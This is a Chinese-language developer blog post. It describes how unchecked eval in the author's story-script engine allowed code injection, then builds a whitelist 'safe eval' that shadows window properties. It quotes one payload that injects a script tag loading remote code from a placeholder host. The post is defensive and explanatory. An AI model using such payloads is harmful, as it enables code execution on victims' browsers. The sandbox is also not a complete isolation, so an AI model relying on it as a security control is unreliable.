前一陣子再檢查自己的剛寫好網站有沒有XSS (Cross-Site Scripting)時突然想到,我以前做的Story Console為了要讓故事腳本可以執行簡單數學運算、字串拼接與邏輯判斷,因此使用了eval函數來處理計算的問題,但是當時我並沒有做任何的限制,因此故事腳本是可以使用javascript中任何的物件(例如:document)以及函數(例如:document.createEvent('script')),雖然Story Console故事編輯器中只能讓使用者使用一些數字及運算子方塊,並沒有任何的函數方塊,只不過打包好的故事腳本只是單純的做了zip壓縮,裡面只不過是一群沒有做過任何加密的json檔,因此只要將故事檔解壓縮然後在任一個故事腳本檔裡面加上像是
{
"exec": "(()=>{let s = document.createElement('script'); s.src = 'https://xyz.example.com/example.js'; document.querySelector('body').append(s);})()"
}
的exec指令(當Story Console執行到這行指令,就會在網頁上插入一個scritpt tag然後從https://xyz.example.com/example.js下載腳本然後執行,但是使用者並不會察覺到),然後再壓縮回zip,就可以發布給其他人然後使壞了。
故事腳本能夠執行任意程式碼聽起來就不是什麼好事,所以必須要想點辦法來限制eval能夠做的事,像是故事腳本必須要能夠做數學運算,所以必須要能夠使用Math類別,而故事腳本沒有必要能夠操作畫面,所以沒必要夠使用doeument物件,因此就必須將doeument物件給擋下來不讓eval存取。
Math和doeument等等的這些東西都是定義在javascript的『頂層作用域』,也就是『全域』,而所有的『子作用域』或稱做『區域』都可以存取到全域中的所有物件,例如:
(function(){
return function(){
return document.querySelector('body');//<--這行可以正常取得到畫面上的body tag
}
})()();
而如果想要讓區域沒辦法存取全域中的某些物件則沒有別的辦法,只能夠在區域中定義一個與想要阻擋的全域物件一樣名稱的變數就可以了,例如:
(function(){
let document = null;
return function(){
return document.querySelector('body');//<--Uncaught TypeError: Cannot read properties of null (reading 'querySelector')
}
})()();
另外,javascript的頂層作用域其實也就是window物件,也就是說
document.querySelector('body')
其實就是
window.document.querySelector('body')
,還有在頂層作用域中
var a = 1;
console.log(a);//這行
console.log(window.a);//等同於這行
這也就代表著我要檔下來不讓eval可以存取的物件,其實都是window的屬性,所以我可以用
Reflect.ownKeys(window)
來取得所有物件的名稱,然後在定義一個白名單來決定哪些物件可以給eval存取,像是這樣
let allowProperty = [
'Math',
]
let blockMap = [];
Reflect.ownKeys(window).forEach(k => {
blockMap.push([k,
allowProperty.find(i => i == k)
? window[k]
: undefined
]);
})
其中blockMap就表示著eval可以使用那些物件,例如當eval可以使用Math而不能使用document時,blockMap的內容就會像是
[
["Math", Math],
["document", undefined]
]
然後在建立一個函數並將window的所有屬性名稱當作該函數的參數名稱,就像是這樣
function eval(code, blockMap){
return new Function(
...blockMap.map(([k, v]) => k),
`
return (function(){
return (${code});
}).call(null);
`
)(
...blockMap.map(([k, v]) => v),
);
};
就差不多達成目的了。
最後,我就將eval改寫成
function getSafeEval(allowPropertyFromWindow = []){
let blockMap = [];
Reflect.ownKeys(window).forEach(k => {
blockMap.push([k,
allowPropertyFromWindow.find(i => i == k)
? window[k]
: undefined
]);
})
return function(code, args = {}, This = {}){
args = Object.entries(args);
return new Function(
...blockMap.map(([k, v]) => k),
...args.map(([k, v]) => k),
'This',
`
return (function(){
//console.log(this);
return (${code});
}).call(This);
`
)(
...blockMap.map(([k, v]) => v),
...args.map(([k, v]) => v),
This
);
};
}
let thisObj = {a: 2};
let allowProperty = [
'Math',
'alert',
'confirm',
'prompt',
'console',
]
let eval = getSafeEval(allowProperty);
console.log(eval(`1 + 1`));
console.log(eval(`1 + this.a`, {}, thisObj));
console.log(eval(`({f: ()=>{alert('hi'); return this;}}).f()`, {}, thisObj));
console.log(eval(`(()=>{delete document;return document;})()`, {}, thisObj));
console.log(eval(`a + b`, {a: 1, b: 2}, thisObj));